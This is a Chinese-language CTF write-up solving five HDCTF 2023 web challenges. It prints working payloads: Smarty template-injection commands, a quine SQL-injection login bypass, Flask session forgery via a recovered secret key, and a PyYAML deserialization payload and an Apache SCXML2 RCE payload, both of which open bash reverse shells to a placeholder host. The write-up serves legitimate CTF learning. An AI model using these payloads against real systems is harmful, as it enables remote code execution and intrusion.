HDCTF2023
1.Welcome To HDCTF 2023
在game.js里发现奇怪的seeeeeeeecret,不难看出就是jsfuck
直接把它放在控制台输出或者jsfuck解码1
NSSCTF{We13ome_t@_HDCTF_2o23}
2.SearchMaster
看报错信息是Smarty模板注入,1
2
3data={if system(‘cat /flag_13_searchmaster’)}{/if}
data={{system(‘cat /flag_13_searchmaster’)}}
3.LoginMaster
具体看这篇博客
payload:1
1'union/**/select/**/replace(replace('1"union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#
4.YamiYami
考点:yaml反序列化,session伪造
进去后有三个链接,第一个跳转百度,/read路由,感觉可以读取任意文件
第二个是上传文件的位置,第三个给了pwd内容说明当前目录在/app
非预期:
在read路由读环境变量:/proc/1/environ得到flag:NSSCTF{944467cc-e7ef-446b-92f6-b5f45479e30e}
预期:
在/read路由尝试读app.py和flag发现被正则过滤,url二次编码app/app.py:1
file:///%25%36%31%25%37%30%25%37%30%25%32%46%25%36%31%25%37%30%25%37%30%25%32%45%25%37%30%25%37%39
源码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81#encoding:utf-8
import os
import re, random, uuid
from flask import *
from werkzeug.utils import *
import yaml
from urllib.request import urlopen
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = False
BLACK_LIST=["yaml","YAML","YML","yml","yamiyami"]
app.config['UPLOAD_FOLDER']="/app/uploads"
def index():
session['passport'] = 'YamiYami'
return '''
Welcome to HDCTF2023 <a href="[/read?url=https://baidu.com](view-source:http://node2.anna.nssctf.cn:28427/read?url=https://baidu.com)">Read somethings</a>
<br>
Here is the challenge <a href="[/upload](view-source:http://node2.anna.nssctf.cn:28427/upload)">Upload file</a>
<br>
Enjoy it <a href="[/pwd](view-source:http://node2.anna.nssctf.cn:28427/pwd)">pwd</a>
'''
def pwd():
return str(pwdpath)
def read():
try:
url = request.args.get('url')
m = re.findall('app.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m:
return "re.findall('app.*', url, re.IGNORECASE)"
if n:
return "re.findall('flag', url, re.IGNORECASE)"
res = urlopen(url)
return res.read()
except Exception as ex:
print(str(ex))
return 'no response'
def allowed_file(filename):
for blackstr in BLACK_LIST:
if blackstr in filename:
return False
return True
def upload_file():
if request.method == 'POST':
if 'file' not in request.files:
flash('No file part')
return redirect(request.url)
file = request.files['file']
if file.filename == '':
return "Empty file"
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
if not os.path.exists('./uploads/'):
os.makedirs('./uploads/')
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
return "upload successfully!"
return render_template("index.html")
def load():
if session.get("passport")=="Welcome To HDCTF2023":
LoadedFile=request.args.get("file")
if not os.path.exists(LoadedFile):
return "file not exists"
with open(LoadedFile) as f:
yaml.full_load(f)
f.close()
return "van you see"
else:
return "No Auth bro"
if __name__=='__main__':
pwdpath = os.popen("pwd").read()
app.run(
debug=False,
host="0.0.0.0"
)
print(app.config['SECRET_KEY'])
在/boogipop路由发现yaml.full_load(f)可知这里可以pyyaml反序列化,还需要修改session[passport]=Welcome To HDCTF2023
.然后传参file=你上传的文件就能反序列化其中的内容
分析:
random.seed(uuid.getnode())
是使用 Python 中的random
模块来设置随机数生成器的种子(seed)。在这里,uuid.getnode()
函数返回本机的MAC地址(物理地址)。而app.config['SECRET_KEY'] = str(random.random()*233)
,说明这个secret_key我们可以获取,利用file读取/sys/class/net/eth0/address,这个是网卡的位置,得到02:42:ac:02:21:e1
,然后:
1 | import random |
得到secret_key是:158.36050847457943
session伪造脚本:noraj/flask-session-cookie-manager: Flask Session Cookie Decoder/Encoder (github.com)1
2
3python flask_session_cookie_manager3.py decode -c "eyJwYXNzcG9ydCI6IllhbWlZYW1pIn0.ZMMvzQ.jAEoVGlOnl6rKkoodauVQIZzOos" -s "158.36050847457943"
{'passport': 'YamiYami'}
加密:1
2
3python flask_session_cookie_manager3.py encode -s "158.36050847457943" -t "{'passport': 'Welcome To HDCTF2023'}"
eyJwYXNzcG9ydCI6IldlbGNvbWUgVG8gSERDVEYyMDIzIn0.ZMM0JA.kJKssae4JiE6rFv10EThz6FaTt0
- yaml反序列化:命名1.txt在upload页面上交躲避黑名单
1
2
3
4
5
6
7
8
9!!python/object/new:str
args: []
state: !!python/tuple
- "__import__('os').system('bash -c \"bash -i >& /dev/tcp/ip/port <&1\"')"
- !!python/object/new:staticmethod
args: []
state:
update: !!python/name:eval
items: !!python/name:list
然后在/boogipop路由下改变session,file=uploads/1.txt
在根目录下的flag.sh没有flag,在/tmp/flag_13_114514里找到,但是当时比赛据说这里也没有flag而是读的环境变量
5.[HDCTF 2023]BabyJxVx
考点:Apache SCXML2 RCE,参考这位大佬
下载附件查看源码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65package com.example.babyjxvx.FlagController;
import java.io.IOException;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import org.apache.commons.scxml2.SCXMLExecutor;
import org.apache.commons.scxml2.io.SCXMLReader;
import org.apache.commons.scxml2.model.SCXML;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.w3c.dom.Document;
import org.xml.sax.SAXException;
public class Flagcontroller {
public Flagcontroller() {
}
private static Boolean check(String fileName) throws IOException, ParserConfigurationException, SAXException {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = dbf.newDocumentBuilder();
Document doc = builder.parse(fileName);
int node1 = doc.getElementsByTagName("script").getLength();
int node2 = doc.getElementsByTagName("datamodel").getLength();
int node3 = doc.getElementsByTagName("invoke").getLength();
int node4 = doc.getElementsByTagName("param").getLength();
int node5 = doc.getElementsByTagName("parallel").getLength();
int node6 = doc.getElementsByTagName("history").getLength();
int node7 = doc.getElementsByTagName("transition").getLength();
int node8 = doc.getElementsByTagName("state").getLength();
int node9 = doc.getElementsByTagName("onentry").getLength();
int node10 = doc.getElementsByTagName("if").getLength();
int node11 = doc.getElementsByTagName("elseif").getLength();
return node1 <= 0 && node2 <= 0 && node3 <= 0 && node4 <= 0 && node5 <= 0 && node6 <= 0 && node7 <= 0 && node8 <= 0 && node9 <= 0 && node10 <= 0 && node11 <= 0 ? true : false;
}
public String index() {
return "index";
}
public String Flag( { String filename)
SCXMLExecutor executor = new SCXMLExecutor();
try {
if (check(filename)) {
SCXML scxml = SCXMLReader.read(filename);
executor.setStateMachine(scxml);
executor.go();
return "Revenge to me!";
}
System.out.println("nonono");
} catch (Exception var4) {
System.out.println(var4);
}
return "revenge?";
}
}
过滤script,datamodel,invoke,param,parallel,history,transition,state,onentry,if,elseif这些标签
payload:1
2
3
4
5
6
7
8
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
<final id="run">
<onexit>
<assign location="flag" expr="''.getClass().forName('java.lang.Runtime').getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC9wb3J0IDA+JjE=}|{base64,-d}|{bash,-i}')"/>
</onexit>
</final>
</scxml>
在vps放上1.xml的内容,在当前目录开启python临时服务器:1
python3 -m http.server 1234
1 | http://node4.anna.nssctf.cn:28554/Flag?filename=http://ip:1234/1.xml |
1 | nc -lvvp port |
然后在根目录下得到flag